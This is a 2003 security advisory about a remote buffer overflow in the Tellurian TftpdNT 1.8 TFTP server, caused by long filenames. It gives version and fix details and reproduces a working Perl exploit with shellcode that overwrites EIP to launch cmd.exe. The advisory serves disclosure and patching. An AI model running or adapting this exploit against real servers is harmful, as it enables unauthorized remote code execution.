Tellurian TftpdNT Buffer Overflow Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1007582 |
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SecurityTracker URL: http://securitytracker.com/id/1007582
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Aug 26 2003
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Impact:
Execution of arbitrary code via network, User access via network
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Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
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Version(s): 1.8
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Description:
A buffer overflow vulnerability was reported in Tellurian TftpdNT. A remote user can execute arbitrary code on the system.
SecuriTeam reported that a remote user can specify a specially crafted filename to trigger the buffer overflow and overwrite the EIP register, potentially executing arbitrary code.
A demonstration exploit is provided in the Source Message.
SecuriTeam credits STORM with discovering the flaw.
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Impact:
A remote user can execute arbitrary code with the privileges of the TFTP server.
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Solution:
The vendor has released a fixed version (2.0), available at:
http://www.tellurian.com.au/products/trinkets/tftpdNT/
http://www.tellurian.com.au/products/trinkets/tftpdNT/tftpdnt_trial.exe
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Vendor URL: www.tellurian.com.au/products/trinkets/tftpdNT/ (Links to External Site)
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Cause:
Boundary error
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Underlying OS:
Windows (Any)
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Message History:
None.
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Source Message Contents
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Date: 26 Aug 2003 15:42:38 +0200
Subject: [NT] Security Vulnerability in Tellurian TftpdNT (Long Filename)
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The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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Security Vulnerability in Tellurian TftpdNT (Long Filename)
------------------------------------------------------------------------
SUMMARY
<http://www.tellurian.com.au/> Tellurian TftpdNT is a TFTP server for
Windows NT and Windows 9x.
A buffer overflow vulnerability in the product allows remote attackers to
cause the product to overflow an internal buffer, while executing
arbitrary code.
DETAILS
Vulnerable systems:
* TftpdNT version 1.8
Immune systems:
* TftpdNT version 2.0
It is possible to cause a buffer overflow in the Tellurian TftpdNT
product, while overwriting the EIP pointer - this allows remote command
execution.
The overflow occurs in the product's parsing of the filename.
Vendor status:
The vendor has been informed, and has fixed the issue within 24 hours. A
new version is available on the web site.
Exploit:
#!/usr/bin/perl -w
#Tellurian TFTP Server buffer overflow vulnerability
use IO::Socket;
$host = "192.168.1.44";
$port = "69";
$shellcode = "\x90\xCC\x90\x90\x90\x90\x8B\xEC\x55\x8B\xEC\x33\
\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\
\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\
\x45\xFE\x65\xB8\xC3\xAF\x01\x78\x50\x8D\x45\xF8\x50\xFF\x55\xF4\x5F";
$buf = "\x00\x02";
$buf .= "\x41"x(508-length($shellcode));
$buf .= $shellcode;
$buf .= "\x0F\x02\xC7"; # EIP
$buf .= "\x00\x6E\x65\x74\x61\x73\x63\x69\x69\x00";
print "Length: ", length($buf), "\n";
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
$!\n";
print "Done\n";
ADDITIONAL INFORMATION
SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
finding this vulnerability.
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